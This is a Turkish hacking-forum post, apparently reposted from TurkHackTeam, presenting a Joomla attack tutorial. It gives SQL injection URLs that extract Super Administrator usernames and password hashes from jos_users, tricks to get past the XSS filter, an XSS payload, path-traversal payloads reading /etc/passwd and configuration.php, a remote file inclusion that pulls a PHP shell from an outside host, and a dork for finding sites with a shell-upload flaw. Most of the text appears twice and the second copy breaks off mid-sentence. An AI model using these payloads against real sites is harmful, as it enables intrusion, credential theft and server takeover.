Öncelikle Bu Paylaşım Görmeyenler İçindir Alıntıdır. GravityForce adlı arkadaşımızın paylaşımıdır.
Tüm Yönleriyle Joomla Açıkları
~ Joomla Nedir? Ne İşe Yarar?
~ Joomlanın Yapıtaşları
~ Joomla Temel Güvenliği
~ Joomla Eklentileri
~ Basic Joomla Hacking
~ Joomla SQL Injection
~ Joomla XSS/CSRF
~ Joomla LFI
~ Joomla RFI
~ OWASP Joomscan And Nikto
~ Joomla Shell Upload Açığı
:::: [Bölüm - 1] Giriş
Joomlanın tüm bilgilerini buradan bulabilirisiniz.
:::: [Bölüm - 2] Joomla Nedir? Ne İşe Yarar?
Joomla açık kaynak kodlu bir içerik yönetim sistemi (content management system)dir.
GravityForce // TurkHackTeam.Net
Bu içerik kısmı: basit metin, resimler, müzik, video, belgeler ya da düşündüğünüz
herhangi birşey olabilir.
Dolayısıyla joomla zengin bir içeriğe sahip bir portal sistemidir.
Peki joomlayı Mambo, Joomla, Moddle, PHPNuke, Xoops, PHP-Fusion, vBulletin gibi
diğer hazır portal sistemlerinden ayıran avantajı nedir?
Tabiki pek fazla deneyim gerektirmemesi.Bun joomlacı arkadaşlar kızabilir ama öyle
Deneyim gerektirmemesi avantaj gibi gözüksede joomla güvenliği için en büyük dez avantajdır.
:::: [Bölüm - 3] Joomlanın Yapıtaşları
Joomla temel olarak 3 unsurdan oluşmaktadır:
1. Component 2. Modül 3. Plugin
[#] Component :
oomla uygulamasının kullanıcıları ilgilendiren kısmıdır.Örneğin: forumlar , yorum kutuları,
dosya yönetimi , profil ayrıntıları i galeriler....
Birçok joomla açığı componentler unsurunda meydan gelmektedir.
[#] Modül :
Joomla uygulamasının kullanıcıyı ilgilendirmeyen site sayacı , son gönderilenler , online
üyeler gibi kısımlarıdır...
Joomla modüllerinde exploit edilebilecek açıklar bulunmamaktadır.
[#] Plugin :
Mambot olarak da bilinen bu unsur sitenin işleyişiyle ilgili küçük progr*****lardır.
Örneğin joomla yazılarında embed PHP kodlarının kullanılması gibi....
:::: [Bölüm - 4] Joomla Temel Güvenliği
Joomlayı indirdiğiniz zaman temel çekirdeğinde hiçbir açık bulmazsınız.
Yani açıklar sonradan yüklediğiniz eklentilerde meydana gelmektedir.
Şimdi joomlanın input filtresinde bazı satırlara göz atalım:
"/phpinputfilter/inputfilter.php"
var $tagBlacklist = array (applet, bOdy, bgsound ....
Yukarda XSS filtresinde "bOdy" yasaklı ancak "bOdy" olarak kullanırsak engeli aşabiliyoruz.
SaLii // TurkHackTeam.Net
$tagOpen_start = strpos($source, <);
while ($tagOpen_start !== false)
Yukarda ise "<" ile başlayan sorgunuz engellenmekte.
Bu engeli ise sorgunuzu ">< ile başlatarak aşabiliyoruz.
Bütün bu anlatılanlardan sonra artık joomla açıklarının componenntlerde meydana geldiğini,
Joomla çekirdeğinde hiçbir açık bulunmadığını , açıkların eklentilerle meydana geldiğini,
anlamış bulunuyoruz.
:::: [Bölüm - 5] Joomla Eklentileri
Joomla eklentilerini herhangi bir joomla desteği veren web sitesinden edinebilirsiniz.
[#] siteniz.com/administrator
Yetkisi ile eklentiyi kuruyoruz.Kurulum tamamlandıktan sonra menü kısmında bazı komponentlerin
yüklendiğini görürsünüz.
Yüklediğiniz eklentiye göre aşağıdaki gibi bir url göreceksiniz:
siteniz.com/index.php?option=com_cw&item=1&itemid=2
Bu url birçok input barındırmakta:
index.php?option= //Komponentleri çağırır
com_cw //Çağırılan komponent
&item=1
&itemid=2
Yukardaki parametreler joomla siteyi ziyaret ettiğinizde ençok karşılaştığınız parametrelerdir.
Bunlara ilaveten aşağıdaki parametrelere de çok fazla rastlanılır.
- format
- link_id
- view
- controller
- layout
- category
- cat
- visit
- page
Bu parametreleri bulmak, sorgu göndermek için yapacağımız ilk iştir.
:::: [Bölüm - 6] Basic Joomla Hacking
Joomla açıkları için yapacağınız ilk iş localhostunuza joomla kurarak test yapmak olmalıdır.
Bu size deneyim kazandıracaktır.Deneyim kazandıktan sonra artık bir joomla sitesi üzerinde:
- Input alanları
- Eklenti parametreleri
- Hidden type inputları
- PhpMyadmin
- Kullanılan Joomla Teması gibi unsurları bulmanız gerekmektedir.
Joomla da ataklardan korunmak için web site sahipleri genelde SEO ve SEF gibi teknikler kullanırlar.
Her ne teknik kullanırlarsa kullansınlar inputlar herzaman vardır.
Örneğin hiiden type bir inputu kaynak kodlarından görebiliriz.
----------------------------------------------------------
<input type="hidden" name="option" value="com_cw" />
<input type="hidden" name="ItemId" value="1" />
<input type="hidden" name="Item" value="2" />
<input type="hidden" name="Category" value="1" />
SaLii // TurkHackTeam.Net
----------------------------------------------------------
Temel bilgilerde size input alanlarını ve zaafiyet noktalarını anlattım.
Bütün bu temel bilgileri verdikten sonra artık yavaş yavaş atak tiplerine geçelim.
:::: [Bölüm - 7] Joomla SQL Injection
Joomlada eklentileri kurduğunuz zaman :
index.php?option=com_cw&category=1&Item=2
gibi Urller muhtemel açıkların meydana geldiği alanlardır.
En sık olarak:
- id cat, category, categories , katid
- item , entry , page
bu parametrelerde meydana gelmektedir.
Peki injection testini nasıl yapacağız?
category=1 parametresinde 1 değeri yerine üsttırnak() koyduğumuz zaman
Mysql hatası alıyorsak SQL Injection açığı mevuttur.
Bunu daha iyi anlamanız için örneklere geçelim:
SaLii // TurkHackTeam.Net
URL: /index.php?option=com_content&task=blogcategory&id= 60&Itemid=99999
Vulnerable Parametre : "Itemid"
URL: /index.php?option=com_mailto&tmpl=mailto&article=5
Vulnerable Parametre : "article"
Parametrelerin nasıl bulunacağını ve Injection testini nasıl yapacağımızı öğrendik.
Exploit etmeye başlamadan önce:
SaLii // TurkHackTeam.Net
# Joomla Admin tipi : Super Administrator
# Tablomuz : jos_users
# Tablo kolonları : username , password
Bilgileri bilmemiz ve extra olarak mysql injection bilgimizin olması gerekmektedir.
Kolon ve tablo adları ile admin tipini biliyoruz.
Şimdi exploit edelim:
Kolon Sayısı :
/index.php?option=com_content&task=blogcategory&id= 60&Itemid=99999
+UNION+SELECT+1,concat(0x1e,username,0x3a,password ,0x1e),3
Veriyi Çekekim :
/index.php?option=com_content&task=blogcategory&id= 60&Itemid=99999
+UNION+SELECT+1,concat(0x1e,username,0x3a,password ,0x1e),3+FROM+jos_users
+where+usertype=0x53757065722041646d696e6973747261 746f72--
Çektiğimiz veride passwordun joomla salt md5 ile kriptolanmış olduğunu görürsünüz.
Bunları kırması çok kolay değildir.
Bu yüzden XSS açıkları bana göre SQL Injection açıklarından daha önemlidir.
:::: [Bölüm - 8] Joomla XSS/CSRF
Joomla da XSS/CSRF açıkları daha çok formlar,ziyaretçi defterleri,yorum kutularında
meydana gelmektedir.
Bunun dışında Hidden type formlar da da sıkılıkla oluşmaktadır.
Joomla da kaynak kodlarında formlara baktığımız zaman:
<input type="text" name="search" value="" />
Yukardaki input değerine js/html/vbs gibi kodlar girebiliriz.
Kurban kaynak kodlarını göremeyeceği için zararlı kodumuzuda göremeyecektir.
FORM : <input type="text" name="search" value="" />
EXPLOIT : <input type="text" name="search" value="">**********alert("kasva")</script>" />
Exploit ettiğimiz form bize "kasva" uyarısını verecektir.
Aşağıda reel örneleri inceleyebiliriniz:
Example : /components/com_users/ XSS Vulnerability
Example : /components/com_weblinks/ XSS Vulnerability
:::: [Bölüm - 9] Joomla Local File Inclusion
LFI dediğimiz zaman hemen aklınıza linux serverde "etc/passwd" geldiğini bilmiyor değilim.
URL : /index.php?option=com_projectfork§ion=
EXPLOIT : /index.php?option=com_projectfork§ion=../../../../etc/passwd%00
Joomlada LFI açıklarında çoğu kez php kaynak kodlarınıda okuyabilmekteyiz.
Bunun için aşağıdaki yöntem çok etkili olan bir yöntemdir.
EXPLOIT : /index.php?option=com_projectfork§ion=../../../configuration.php
Bunu exploit ettikten sonra dökümanın başında temel ataklar için gerekli olan PhpMyadmin
uygulamasını bulmanız gerekmektedir.
Exploit ederek elde ettiğiniz bilgiler ile databaseye erişim hakkına sahip olabilirsiniz.
:::: [Bölüm - 10] Joomla Remote File Inclusion
Joomla RFI açıkları bize uzak serverden dosya dahil etmemizi sağlamaktadır.
RFI açığı bulduğumuz zaman PHP Shellimizi dahil ederek serverde yetki alabiliriz.
URL : /com_googlebase/admin.googlebase.php?mosConfig_absolute_path=
EXPLOIT : /com_googlebase/admin.googlebase.php?mosConfig_absolute_path=http://cw.com/shell.txt?
Exploit ettikten sonra dosyaları görünteleyebilir,indirebilir,değiştirebiliriz.
:::: [Bölüm - 11] OWASP Joomscan And Nikto
Owasp geliştiricileri joomla eklentilerinde var olan açıkları otomatik tarayan bir tool
geliştirdirler.
Perl dilinde yazılan bu toolda yaklaşık 500 adet plugini vardır.
Şuan bu tool güncelleştirilmese bile açık tarayıcı olarak faydalı bir tooldur.
Bu konuda diğer bir tool ise benim favorim niktodur.
Yine Perl dilinde yazılmış bir tooldur.
Yaklaşım 3.500 plugini vardır.Günceleştirmeler mevcuttur.
Nikto ile de joomla sitenizi tarayabilirsiniz.
Nikto İndir : Nikto2 | CIRT.net
Joomscan : OWASP Joomla! Security Scanner | Free Security & Utilities software downloads at SourceForge.net
:::: [Bölüm - 12] Joomla Shell Upload Açığı
Açık eklentiden kaynaklanmaktadır.
Eklenti : com_garyscookbook
Dork :
Gelen sitelerde site ana dizininden sonrasını silin ve
Tüm Yönleriyle Joomla Açıkları
~ Joomla Nedir? Ne İşe Yarar?
~ Joomlanın Yapıtaşları
~ Joomla Temel Güvenliği
~ Joomla Eklentileri
~ Basic Joomla Hacking
~ Joomla SQL Injection
~ Joomla XSS/CSRF
~ Joomla LFI
~ Joomla RFI
~ OWASP Joomscan And Nikto
~ Joomla Shell Upload Açığı
:::: [Bölüm - 1] Giriş
Joomlanın tüm bilgilerini buradan bulabilirisiniz.
:::: [Bölüm - 2] Joomla Nedir? Ne İşe Yarar?
Joomla açık kaynak kodlu bir içerik yönetim sistemi (content management system)dir.
GravityForce // TurkHackTeam.Net
Bu içerik kısmı: basit metin, resimler, müzik, video, belgeler ya da düşündüğünüz
herhangi birşey olabilir.
Dolayısıyla joomla zengin bir içeriğe sahip bir portal sistemidir.
Peki joomlayı Mambo, Joomla, Moddle, PHPNuke, Xoops, PHP-Fusion, vBulletin gibi
diğer hazır portal sistemlerinden ayıran avantajı nedir?
Tabiki pek fazla deneyim gerektirmemesi.Bun joomlacı arkadaşlar kızabilir ama öyle
Deneyim gerektirmemesi avantaj gibi gözüksede joomla güvenliği için en büyük dez avantajdır.
:::: [Bölüm - 3] Joomlanın Yapıtaşları
Joomla temel olarak 3 unsurdan oluşmaktadır:
1. Component 2. Modül 3. Plugin
[#] Component :
oomla uygulamasının kullanıcıları ilgilendiren kısmıdır.Örneğin: forumlar , yorum kutuları,
dosya yönetimi , profil ayrıntıları i galeriler....
Birçok joomla açığı componentler unsurunda meydan gelmektedir.
[#] Modül :
Joomla uygulamasının kullanıcıyı ilgilendirmeyen site sayacı , son gönderilenler , online
üyeler gibi kısımlarıdır...
Joomla modüllerinde exploit edilebilecek açıklar bulunmamaktadır.
[#] Plugin :
Mambot olarak da bilinen bu unsur sitenin işleyişiyle ilgili küçük progr*****lardır.
Örneğin joomla yazılarında embed PHP kodlarının kullanılması gibi....
:::: [Bölüm - 4] Joomla Temel Güvenliği
Joomlayı indirdiğiniz zaman temel çekirdeğinde hiçbir açık bulmazsınız.
Yani açıklar sonradan yüklediğiniz eklentilerde meydana gelmektedir.
Şimdi joomlanın input filtresinde bazı satırlara göz atalım:
"/phpinputfilter/inputfilter.php"
var $tagBlacklist = array (applet, bOdy, bgsound ....
Yukarda XSS filtresinde "bOdy" yasaklı ancak "bOdy" olarak kullanırsak engeli aşabiliyoruz.
SaLii // TurkHackTeam.Net
$tagOpen_start = strpos($source, <);
while ($tagOpen_start !== false)
Yukarda ise "<" ile başlayan sorgunuz engellenmekte.
Bu engeli ise sorgunuzu ">< ile başlatarak aşabiliyoruz.
Bütün bu anlatılanlardan sonra artık joomla açıklarının componenntlerde meydana geldiğini,
Joomla çekirdeğinde hiçbir açık bulunmadığını , açıkların eklentilerle meydana geldiğini,
anlamış bulunuyoruz.
:::: [Bölüm - 5] Joomla Eklentileri
Joomla eklentilerini herhangi bir joomla desteği veren web sitesinden edinebilirsiniz.
[#] siteniz.com/administrator
Yetkisi ile eklentiyi kuruyoruz.Kurulum tamamlandıktan sonra menü kısmında bazı komponentlerin
yüklendiğini görürsünüz.
Yüklediğiniz eklentiye göre aşağıdaki gibi bir url göreceksiniz:
siteniz.com/index.php?option=com_cw&item=1&itemid=2
Bu url birçok input barındırmakta:
index.php?option= //Komponentleri çağırır
com_cw //Çağırılan komponent
&item=1
&itemid=2
Yukardaki parametreler joomla siteyi ziyaret ettiğinizde ençok karşılaştığınız parametrelerdir.
Bunlara ilaveten aşağıdaki parametrelere de çok fazla rastlanılır.
- format
- link_id
- view
- controller
- layout
- category
- cat
- visit
- page
Bu parametreleri bulmak, sorgu göndermek için yapacağımız ilk iştir.
:::: [Bölüm - 6] Basic Joomla Hacking
Joomla açıkları için yapacağınız ilk iş localhostunuza joomla kurarak test yapmak olmalıdır.
Bu size deneyim kazandıracaktır.Deneyim kazandıktan sonra artık bir joomla sitesi üzerinde:
- Input alanları
- Eklenti parametreleri
- Hidden type inputları
- PhpMyadmin
- Kullanılan Joomla Teması gibi unsurları bulmanız gerekmektedir.
Joomla da ataklardan korunmak için web site sahipleri genelde SEO ve SEF gibi teknikler kullanırlar.
Her ne teknik kullanırlarsa kullansınlar inputlar herzaman vardır.
Örneğin hiiden type bir inputu kaynak kodlarından görebiliriz.
----------------------------------------------------------
<input type="hidden" name="option" value="com_cw" />
<input type="hidden" name="ItemId" value="1" />
<input type="hidden" name="Item" value="2" />
<input type="hidden" name="Category" value="1" />
SaLii // TurkHackTeam.Net
----------------------------------------------------------
Temel bilgilerde size input alanlarını ve zaafiyet noktalarını anlattım.
Bütün bu temel bilgileri verdikten sonra artık yavaş yavaş atak tiplerine geçelim.
:::: [Bölüm - 7] Joomla SQL Injection
Joomlada eklentileri kurduğunuz zaman :
index.php?option=com_cw&category=1&Item=2
gibi Urller muhtemel açıkların meydana geldiği alanlardır.
En sık olarak:
- id cat, category, categories , katid
- item , entry , page
bu parametrelerde meydana gelmektedir.
Peki injection testini nasıl yapacağız?
category=1 parametresinde 1 değeri yerine üsttırnak() koyduğumuz zaman
Mysql hatası alıyorsak SQL Injection açığı mevuttur.
Bunu daha iyi anlamanız için örneklere geçelim:
SaLii // TurkHackTeam.Net
URL: /index.php?option=com_content&task=blogcategory&id= 60&Itemid=99999
Vulnerable Parametre : "Itemid"
URL: /index.php?option=com_mailto&tmpl=mailto&article=5
Vulnerable Parametre : "article"
Parametrelerin nasıl bulunacağını ve Injection testini nasıl yapacağımızı öğrendik.
Exploit etmeye başlamadan önce:
SaLii // TurkHackTeam.Net
# Joomla Admin tipi : Super Administrator
# Tablomuz : jos_users
# Tablo kolonları : username , password
Bilgileri bilmemiz ve extra olarak mysql injection bilgimizin olması gerekmektedir.
Kolon ve tablo adları ile admin tipini biliyoruz.
Şimdi exploit edelim:
Kolon Sayısı :
/index.php?option=com_content&task=blogcategory&id= 60&Itemid=99999
+UNION+SELECT+1,concat(0x1e,username,0x3a,password ,0x1e),3
Veriyi Çekekim :
/index.php?option=com_content&task=blogcategory&id= 60&Itemid=99999
+UNION+SELECT+1,concat(0x1e,username,0x3a,password ,0x1e),3+FROM+jos_users
+where+usertype=0x53757065722041646d696e6973747261 746f72--
Çektiğimiz veride passwordun joomla salt md5 ile kriptolanmış olduğunu görürsünüz.
Bunları kırması çok kolay değildir.
Bu yüzden XSS açıkları bana göre SQL Injection açıklarından daha önemlidir.
:::: [Bölüm - 8] Joomla XSS/CSRF
Joomla da XSS/CSRF açıkları daha çok formlar,ziyaretçi defterleri,yorum kutularında
meydana gelmektedir.
Bunun dışında Hidden type formlar da da sıkılıkla oluşmaktadır.
Joomla da kaynak kodlarında formlara baktığımız zaman:
<input type="text" name="search" value="" />
Yukardaki input değerine js/html/vbs gibi kodlar girebiliriz.
Kurban kaynak kodlarını göremeyeceği için zararlı kodumuzuda göremeyecektir.
FORM : <input type="text" name="search" value="" />
EXPLOIT : <input type="text" name="search" value="">**********alert("kasva")</script>" />
Exploit ettiğimiz form bize "kasva" uyarısını verecektir.
Aşağıda reel örneleri inceleyebiliriniz:
Example : /components/com_users/ XSS Vulnerability
Example : /components/com_weblinks/ XSS Vulnerability
:::: [Bölüm - 9] Joomla Local File Inclusion
LFI dediğimiz zaman hemen aklınıza linux serverde "etc/passwd" geldiğini bilmiyor değilim.
URL : /index.php?option=com_projectfork§ion=
EXPLOIT : /index.php?option=com_projectfork§ion=../../../../etc/passwd%00
Joomlada LFI açıklarında çoğu kez php kaynak kodlarınıda okuyabilmekteyiz.
Bunun için aşağıdaki yöntem çok etkili olan bir yöntemdir.
EXPLOIT : /index.php?option=com_projectfork§ion=../../../configuration.php
Bunu exploit ettikten sonra dökümanın başında temel ataklar için gerekli olan PhpMyadmin
uygulamasını bulmanız gerekmektedir.
Exploit ederek elde ettiğiniz bilgiler ile databaseye erişim hakkına sahip olabilirsiniz.
:::: [Bölüm - 10] Joomla Remote File Inclusion
Joomla RFI açıkları bize uzak serverden dosya dahil etmemizi sağlamaktadır.
RFI açığı bulduğumuz zaman PHP Shellimizi dahil ederek serverde yetki alabiliriz.
URL : /com_googlebase/admin.googlebase.php?mosConfig_absolute_path=
EXPLOIT : /com_googlebase/admin.googlebase.php?mosConfig_absolute_path=http://cw.com/shell.txt?
Exploit ettikten sonra dosyaları görünteleyebilir,indirebilir,değiştirebiliriz.
:::: [Bölüm - 11] OWASP Joomscan And Nikto
Owasp geliştiricileri joomla eklentilerinde var olan açıkları otomatik tarayan bir tool
geliştirdirler.
Perl dilinde yazılan bu toolda yaklaşık 500 adet plugini vardır.
Şuan bu tool güncelleştirilmese bile açık tarayıcı olarak faydalı bir tooldur.
Bu konuda diğer bir tool ise benim favorim niktodur.
Yine Perl dilinde yazılmış bir tooldur.
Yaklaşım 3.500 plugini vardır.Günceleştirmeler mevcuttur.
Nikto ile de joomla sitenizi tarayabilirsiniz.
Nikto İndir : Nikto2 | CIRT.net
Joomscan : OWASP Joomla! Security Scanner | Free Security & Utilities software downloads at SourceForge.net
:::: [Bölüm - 12] Joomla Shell Upload Açığı
Açık eklentiden kaynaklanmaktadır.
Eklenti : com_garyscookbook
Dork :
Kod:
/index.php?option=com_garyscookbook
Gelen sitelerde site ana dizininden sonrasını silin ve
Kod:
/index.php?option=com_garyscookbook&func=newItem ekleyin.